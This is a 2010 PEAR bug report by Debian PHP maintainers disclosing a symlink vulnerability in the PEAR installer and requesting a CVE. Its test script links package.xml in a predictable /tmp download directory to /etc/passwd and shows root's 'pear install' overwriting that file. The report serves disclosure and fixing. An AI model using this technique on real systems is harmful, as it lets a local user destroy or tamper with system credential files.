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Edit report at http://pear.php.net/bugs/bug.php?id=18056&edit=1

ID: 18056
Comment by: ondrej@sury.org
Reported By: ondrej at sury dot org
Summary: [SECURITY]: Symlink attack in PEAR install
Status: Open
Type: Bug
Package: PEAR
Operating System: Linux
Package Version: 1.9.1
PHP Version: 5.3.3
Roadmap Versions:
New Comment:

This should probably get a CVE.

It's already tracked under:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=546164
http://security-tracker.debian.org/tracker/TEMP-0546164-014755

Bug first reported by Raphael Geisert (one of Debian php5 maintainers).

Ondrej, on behalf of Debian PHP5 maintainers


Previous Comments:
------------------------------------------------------------------------

[2010-11-14 15:26:39] ondrej

Description:
------------
There's symlink vulnerability when doing PEAR install. PEAR
should really be using $(mktemp) for it's directories like
download_dir, cache_dir and tmp_dir, and check whether the
directory doesn't exists.

Test script:
---------------
# pear config-show | grep /tmp
PEAR Installer cache directory cache_dir /tmp/pear/cache
PEAR Installer download download_dir
/tmp/buildd/php5-5.3.3/pear-build-download
PEAR Installer temp directory temp_dir /tmp/pear/temp

# ls -ld /tmp/buildd/php5-5.3.3/pear-build-download
drwxr-xr-x 2 ondrej ondrej 4096 Nov 14 14:17
/tmp/buildd/php5-5.3.3/pear-build-download

# su - ondrej
$ cd /tmp/buildd/php5-5.3.3/pear-build-download
$ ln -s /etc/passwd package.xml
$ cat package.xml
root:x:0:0:root:/root:/bin/bash
[...]
$ logout

# pear install Net_Socket
downloading Net_Socket-1.0.10.tgz ...
Starting to download Net_Socket-1.0.10.tgz (5,429 bytes)
.....done: 5,429 bytes
install ok: channel://pear.php.net/Net_Socket-1.0.10


# head /etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<package packagerversion="1.9.1" version="2.0"
xmlns="http://pear.php.net/dtd/package-2.0"
xmlns:tasks="http://pear.php.net/dtd/tasks-1.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://pear.php.net/dtd/tasks-1.0
http://pear.php.net/dtd/tasks-1.0.xsd
http://pear.php.net/dtd/package-2.0
" rel="nofollow">http://pear.php.net/dtd/package-2.0.xsd">
<name>Net_Socket</name>
<channel>pear.php.net</channel>
<summary>Network Socket Interface</summary>
<description>Net_Socket is a class interface to TCP sockets. It
provides blocking
and non-blocking operation, with different reading and writing modes
(byte-wise, block-wise, line-wise and special formats like network
byte-order ip addresses).</description>
<lead>


Expected result:
----------------
Not overwriting system files. Not vulnerable to symlink attack.

Actual result:
--------------
Overwritten /etc/passwd just by creating right directories and
symlinks.

------------------------------------------------------------------------

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